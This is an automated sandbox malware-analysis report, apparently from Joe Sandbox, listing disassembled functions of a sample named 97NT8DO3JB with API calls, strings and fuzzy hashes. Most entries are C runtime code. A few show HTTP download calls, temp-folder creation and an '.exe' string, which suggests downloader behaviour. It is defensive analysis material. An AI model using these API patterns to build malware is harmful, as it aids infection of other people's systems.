Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction ID: 0127a740ddf63ee29669ecccb8c56c2eb241db55512d73dd5e6eafc6ae65d901
Opcode Fuzzy Hash: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction Fuzzy Hash: 04E04672A21228EBCB25DB898904D8AF2BCEB48B04B15019AB611D3220C274DE40C7DC

Uniqueness

Uniqueness Score: -1.00%

Function 0367D2D7 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0367D346
_free.LIBCMT ref: 0367D35C
_free.LIBCMT ref: 0367D36F
_free.LIBCMT ref: 0367D384
_free.LIBCMT ref: 0367D399
GetCPInfo.KERNEL32(?,?), ref: 0367D3E3

Part of subcall function 03683108: _free.LIBCMT ref: 03683173

_free.LIBCMT ref: 0367D64E
_free.LIBCMT ref: 0367D661
_free.LIBCMT ref: 0367D66F
_free.LIBCMT ref: 0367D67A
_free.LIBCMT ref: 0367D6BC
_free.LIBCMT ref: 0367D6C4
_free.LIBCMT ref: 0367D6CA
_free.LIBCMT ref: 0367D6D2
_free.LIBCMT ref: 0367D6E0

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 850d41b9ea7620a9bbc0545b0f443e09ea2c189d2119f7f654799f89de4b0c77
Instruction ID: d1d1dd3efa2d5891e2b88d977ac2850eae1791cafd2d40a6e743b5b61884f9f8
Opcode Fuzzy Hash: 850d41b9ea7620a9bbc0545b0f443e09ea2c189d2119f7f654799f89de4b0c77
Instruction Fuzzy Hash: 93D19F75A003059FDB21DFA8C980BEEBBF5BF09300F58456EE499AB381D770A845CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040D070 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0040D0DF
_free.LIBCMT ref: 0040D0F5
_free.LIBCMT ref: 0040D108
_free.LIBCMT ref: 0040D11D
_free.LIBCMT ref: 0040D132
GetCPInfo.KERNEL32(?,?), ref: 0040D17C

Part of subcall function 00412EA1: _free.LIBCMT ref: 00412F0C

_free.LIBCMT ref: 0040D3E7
_free.LIBCMT ref: 0040D3FA
_free.LIBCMT ref: 0040D408
_free.LIBCMT ref: 0040D413
_free.LIBCMT ref: 0040D455
_free.LIBCMT ref: 0040D45D
_free.LIBCMT ref: 0040D463
_free.LIBCMT ref: 0040D46B
_free.LIBCMT ref: 0040D479

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 65bc85b268157d86e1641153401a954afe29d198bfc914ab22ba314f3bf45bef
Instruction ID: f48acb67b4c6df89428c4c1f837389808573a3c9901b7a429869786fca5a7aff
Opcode Fuzzy Hash: 65bc85b268157d86e1641153401a954afe29d198bfc914ab22ba314f3bf45bef
Instruction Fuzzy Hash: 2AD18D71D002059FDB11DFA9C881BEEBBB5BF48300F14407AE999B7392D778A949CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00407F24 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042B3A4,00000FA0,?,?,00407F02), ref: 00407F30
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00407F02), ref: 00407F3B
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00407F02), ref: 00407F4C
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00407F5E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00407F6C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00407F02), ref: 00407F8F
DeleteCriticalSection.KERNEL32(0042B3A4,00000007,?,?,00407F02), ref: 00407FAB
CloseHandle.KERNEL32(00000000,?,?,00407F02), ref: 00407FBB

Strings

SleepConditionVariableCS, xrefs: 00407F58
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00407F36
WakeAllConditionVariable, xrefs: 00407F64
kernel32.dll, xrefs: 00407F47

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction ID: a19f058fcb25ef7d0541567dcf108cb76fc932f657a8580cad76dbe9db88d878
Opcode Fuzzy Hash: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction Fuzzy Hash: FA0180B1F44622AFC6209B61AC08B962F98EB48745B554036FD09E2290DB7CD80286AE

Uniqueness

Uniqueness Score: -1.00%

Function 03687EDB Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 03687F1F

Part of subcall function 03687187: _free.LIBCMT ref: 036871A4
Part of subcall function 03687187: _free.LIBCMT ref: 036871B6
Part of subcall function 03687187: _free.LIBCMT ref: 036871C8
Part of subcall function 03687187: _free.LIBCMT ref: 036871DA
Part of subcall function 03687187: _free.LIBCMT ref: 036871EC
Part of subcall function 03687187: _free.LIBCMT ref: 036871FE
Part of subcall function 03687187: _free.LIBCMT ref: 03687210
Part of subcall function 03687187: _free.LIBCMT ref: 03687222
Part of subcall function 03687187: _free.LIBCMT ref: 03687234
Part of subcall function 03687187: _free.LIBCMT ref: 03687246
Part of subcall function 03687187: _free.LIBCMT ref: 03687258
Part of subcall function 03687187: _free.LIBCMT ref: 0368726A
Part of subcall function 03687187: _free.LIBCMT ref: 0368727C

_free.LIBCMT ref: 03687F14

Part of subcall function 036814C2: HeapFree.KERNEL32(00000000,00000000,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?), ref: 036814D8
Part of subcall function 036814C2: GetLastError.KERNEL32(?,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?,?), ref: 036814EA

_free.LIBCMT ref: 03687F36
_free.LIBCMT ref: 03687F4B
_free.LIBCMT ref: 03687F56
_free.LIBCMT ref: 03687F78
_free.LIBCMT ref: 03687F8B
_free.LIBCMT ref: 03687F99
_free.LIBCMT ref: 03687FA4
_free.LIBCMT ref: 03687FDC
_free.LIBCMT ref: 03687FE3
_free.LIBCMT ref: 03688000
_free.LIBCMT ref: 03688018

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction ID: e6da94b81a83d7f98d9a51386d4f80ff33dc04897d884675c5ce4b7d28031e38
Opcode Fuzzy Hash: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction Fuzzy Hash: C7315C326043019FEB20FB39D944F56B3E9AF09310F28865DE06DDB290DB74E885CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00417C74 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00417CB8

Part of subcall function 00416F20: _free.LIBCMT ref: 00416F3D
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F4F
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F61
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F73
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F85
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F97
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FA9
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FBB
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FCD
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FDF
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FF1
Part of subcall function 00416F20: _free.LIBCMT ref: 00417003
Part of subcall function 00416F20: _free.LIBCMT ref: 00417015

_free.LIBCMT ref: 00417CAD

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00417CCF
_free.LIBCMT ref: 00417CE4
_free.LIBCMT ref: 00417CEF
_free.LIBCMT ref: 00417D11
_free.LIBCMT ref: 00417D24
_free.LIBCMT ref: 00417D32
_free.LIBCMT ref: 00417D3D
_free.LIBCMT ref: 00417D75
_free.LIBCMT ref: 00417D7C
_free.LIBCMT ref: 00417D99
_free.LIBCMT ref: 00417DB1

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction ID: e9e017e9e70096e1a3b6c1b1170feda9da74edb8891a580a10505246af74ddce
Opcode Fuzzy Hash: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction Fuzzy Hash: 66313D316082049FEB616B39E885BEB73F5BF40354F14445BE55AE6261DE39EDC08A18

Uniqueness

Uniqueness Score: -1.00%

Function 0041701E Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00417066
_free.LIBCMT ref: 0041708A
_free.LIBCMT ref: 00417097
_free.LIBCMT ref: 004170BC
_free.LIBCMT ref: 004170C9
_free.LIBCMT ref: 004170D2
_free.LIBCMT ref: 004173AC
_free.LIBCMT ref: 004173B4

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 34f5fdf0b8bdb14330cc865bf637b4ee9d4ff9b5938c2c07efc02eda8cb8b269
Instruction ID: 42fbab66e9cf25db311135ae3b80c01aff3d2257f9b586594fdb2add1afdc84e
Opcode Fuzzy Hash: 34f5fdf0b8bdb14330cc865bf637b4ee9d4ff9b5938c2c07efc02eda8cb8b269
Instruction Fuzzy Hash: B6C14572D40208BBDB20DBA9CC82FDE77F8AB48744F14415AFE05FB282D674D9919B58

Uniqueness

Uniqueness Score: -1.00%

Function 0367B189 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0367B286
type_info::operator==.LIBVCRUNTIME ref: 0367B2A8
___TypeMatch.LIBVCRUNTIME ref: 0367B3B7
IsInExceptionSpec.LIBVCRUNTIME ref: 0367B489
_UnwindNestedFrames.LIBCMT ref: 0367B50D
CallUnexpected.LIBVCRUNTIME ref: 0367B528

Strings

csm, xrefs: 0367B2DF
csm, xrefs: 0367B1C6
csm, xrefs: 0367B233

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction ID: 8ef4430dc174d859baa51fbe4091731d3ef1d652ba201544b05c22cad7571301
Opcode Fuzzy Hash: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction Fuzzy Hash: 32B17875C01209EFCF25DFA4CA809AEBBB9FF04310B98459AE8156B319D730DA51CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF22 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0040B01F
type_info::operator==.LIBVCRUNTIME ref: 0040B041
___TypeMatch.LIBVCRUNTIME ref: 0040B150
IsInExceptionSpec.LIBVCRUNTIME ref: 0040B222
_UnwindNestedFrames.LIBCMT ref: 0040B2A6
CallUnexpected.LIBVCRUNTIME ref: 0040B2C1

Strings

csm, xrefs: 0040AFCC
csm, xrefs: 0040AF5F
csm, xrefs: 0040B078

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction ID: 9b87920d04b85154828264b23fc5401adf6896f7eb034d6441ed0df8c70c5019
Opcode Fuzzy Hash: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction Fuzzy Hash: D6B16771800209AFCF15DFA5C9859AFB7B5FF14314B1440AEE8107B292D739EA61CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 03680E8F Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 03680EA5

Part of subcall function 036814C2: HeapFree.KERNEL32(00000000,00000000,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?), ref: 036814D8
Part of subcall function 036814C2: GetLastError.KERNEL32(?,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?,?), ref: 036814EA

_free.LIBCMT ref: 03680EB1
_free.LIBCMT ref: 03680EBC
_free.LIBCMT ref: 03680EC7
_free.LIBCMT ref: 03680ED2
_free.LIBCMT ref: 03680EDD
_free.LIBCMT ref: 03680EE8
_free.LIBCMT ref: 03680EF3
_free.LIBCMT ref: 03680EFE
_free.LIBCMT ref: 03680F0C

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction ID: 829bee8e9e8419b37feb8d096969c66ee1bfccdfc8e2cafa4ad21ee2f87cc6d9
Opcode Fuzzy Hash: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction Fuzzy Hash: B5217A7A900208BFCB41EF94C840DDE7BB9BF0D240F0146AAE5599F521DB71EA59CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00410C28 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00410C3E

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00410C4A
_free.LIBCMT ref: 00410C55
_free.LIBCMT ref: 00410C60
_free.LIBCMT ref: 00410C6B
_free.LIBCMT ref: 00410C76
_free.LIBCMT ref: 00410C81
_free.LIBCMT ref: 00410C8C
_free.LIBCMT ref: 00410C97
_free.LIBCMT ref: 00410CA5

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction ID: 11d24dd239afa09924a0f0502ab39d585f16e363cbd1b0e4f0ad4e1278c0f01c
Opcode Fuzzy Hash: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction Fuzzy Hash: 2D218776900108EFCB41EF95C881DDE7BB9BF48344B0141AAF61AEB121EB35DA85CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC91 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,00414446), ref: 0041ACAA

Strings

asin, xrefs: 0041ADD7
exp, xrefs: 0041AD29, 0041AD8E
sqrt, xrefs: 0041ADE9
log10, xrefs: 0041ACEC, 0041ACFB
log, xrefs: 0041AD07, 0041AD16
acos, xrefs: 0041ADE0
pow, xrefs: 0041AD48, 0041ADF2, 0041AE3F

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 66e460ef18c7cf41edcbb915d46ed8d766cc47b0d4a94312d922ad545180dc80
Instruction ID: ad6360502c0488f750b27f8fb93aaf02fa721c93ca9c08d05312bd6d5e0ae066
Opcode Fuzzy Hash: 66e460ef18c7cf41edcbb915d46ed8d766cc47b0d4a94312d922ad545180dc80
Instruction Fuzzy Hash: E1517C70901A1ACBCB108F99F9481EEBFB6FB45305F508057D880A6665CB7C89B6CB4F

Uniqueness

Uniqueness Score: -1.00%

Function 036876A4 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 03687712
_free.LIBCMT ref: 0368771E
_free.LIBCMT ref: 03687847
_free.LIBCMT ref: 03687852

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction ID: 3eb432557879e4c76cd0cbe1dad8e5e1aa4d67209a9065bbfb1e51fe88b2b875
Opcode Fuzzy Hash: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction Fuzzy Hash: FC61F8B5A00305AFDB20EF64C940BAAB7E8EF4C710F24466DD959EB341EB709941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041743D Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004174AB
_free.LIBCMT ref: 004174B7
_free.LIBCMT ref: 004175E0
_free.LIBCMT ref: 004175EB

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction ID: 62d46b75d0a2d68c1cf99883932cb92cc8c473006f14587f2c16db2dd75d90f6
Opcode Fuzzy Hash: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction Fuzzy Hash: F661E471904305AFD720DF65C881BEBB7FAEF44710F20446BE95AEB241EB789D818B54

Uniqueness

Uniqueness Score: -1.00%

Function 03671FD7 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 311networkCOMMON

Download Yara Rule

APIs

__cftof.LIBCMT ref: 03672147
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 03672162
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 03672185
InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 036721A6
HttpOpenRequestA.WININET(00000000,004277DC,00000000,00000000,00000000,00000000,80400000,00000001), ref: 036721D7
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 036721F2

Part of subcall function 03671FD7: InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 03671B7C
Part of subcall function 03671FD7: InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 03671B9B
Part of subcall function 03671FD7: HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 03671C2F

Strings

Oa, xrefs: 03671DA4

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Internet$Http$FileOpenRequest$ConnectInfoOptionPointerQueryReadSend__cftof
String ID: Oa
API String ID: 3409182146-2842007192
Opcode ID: b33b3fcec9cc372dc0496a1f43d28b0db310f4c99a0ff0127a20882e912defc9
Instruction ID: 3193c7bba2fdaa53b21fb41d7c442c60aa0edea424c7d5b5ac563bb23517ac3d
Opcode Fuzzy Hash: b33b3fcec9cc372dc0496a1f43d28b0db310f4c99a0ff0127a20882e912defc9
Instruction Fuzzy Hash: 39A10771E00208AFDB24DFA8DC94BEEFBB5EF44310F548619E911BB280D7759945CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0368690E Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 03686938
_free.LIBCMT ref: 03686A11
_free.LIBCMT ref: 03686A3E

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction ID: abf2a5b6e3fe82ac04463c18a72e6c4818d48d9fb4c23300fccf7729151c9d92
Opcode Fuzzy Hash: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction Fuzzy Hash: 1F51C675A04305AFDB20FFB8D980A6DBBF8EF49314F04836ED6149B280EA7185528B54

Uniqueness

Uniqueness Score: -1.00%

Function 004166A7 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004166D1
_free.LIBCMT ref: 004167AA
_free.LIBCMT ref: 004167D7

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction ID: 8e74faf7002be57bf6f2fd9f0c469618525a6246d933c4169d22536521fd430b
Opcode Fuzzy Hash: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction Fuzzy Hash: 6E510871905305AFDB20BF759881AEE7BA4EF41318B12417FE910A7281DB39C9C58B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00407A99 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00407AE2
__alloca_probe_16.LIBCMT ref: 00407B0E
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00407B4D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00407B6A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00407BA9
__alloca_probe_16.LIBCMT ref: 00407BC6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00407C08
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00407C2B

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: c42127ac6c1f3fbbf400ff9f5a11fec2252f664d79360a82cf1a83ba82133ae7
Instruction ID: 045993c81a832b78f6ff1f4b0ec674b17b3dc119d98eacad835befa64c368bd9
Opcode Fuzzy Hash: c42127ac6c1f3fbbf400ff9f5a11fec2252f664d79360a82cf1a83ba82133ae7
Instruction Fuzzy Hash: DE51B372908116AFEB205F50CC45FAB3BB9EF44748F15443AF904B62D0D739AD11CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0367818B Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042B3A4,00000FA0,?,?,03678169), ref: 03678197
GetModuleHandleW.KERNEL32(0041DFE0,?,?,03678169), ref: 036781A2
GetModuleHandleW.KERNEL32(0041E024,?,?,03678169), ref: 036781B3
GetProcAddress.KERNEL32(00000000,0041E040), ref: 036781C5
GetProcAddress.KERNEL32(00000000,0041E05C), ref: 036781D3
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,03678169), ref: 036781F6
RtlDeleteCriticalSection.NTDLL(0042B3A4), ref: 03678212
CloseHandle.KERNEL32(0042B3A0,?,?,03678169), ref: 03678222

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction ID: 1900f621cafdbca89f22f789ac4b9642388a9ecbdf1f399e9bc458ce92a61c52
Opcode Fuzzy Hash: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction Fuzzy Hash: 900192B0B40622AFC6209B61AD0DB963F98EB08755B994026FD09D3250DB78C802C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 03673767 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,0042A018), ref: 036737F1
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000001), ref: 036739BA
GetTempPathA.KERNEL32(00000104,?,?,004278D4,00000001,00000000,00000001), ref: 036739E7
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000000,00000001), ref: 03673BC5

Strings

L]Z\, xrefs: 036743FA
.exe, xrefs: 03673E76, 03673E8A

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

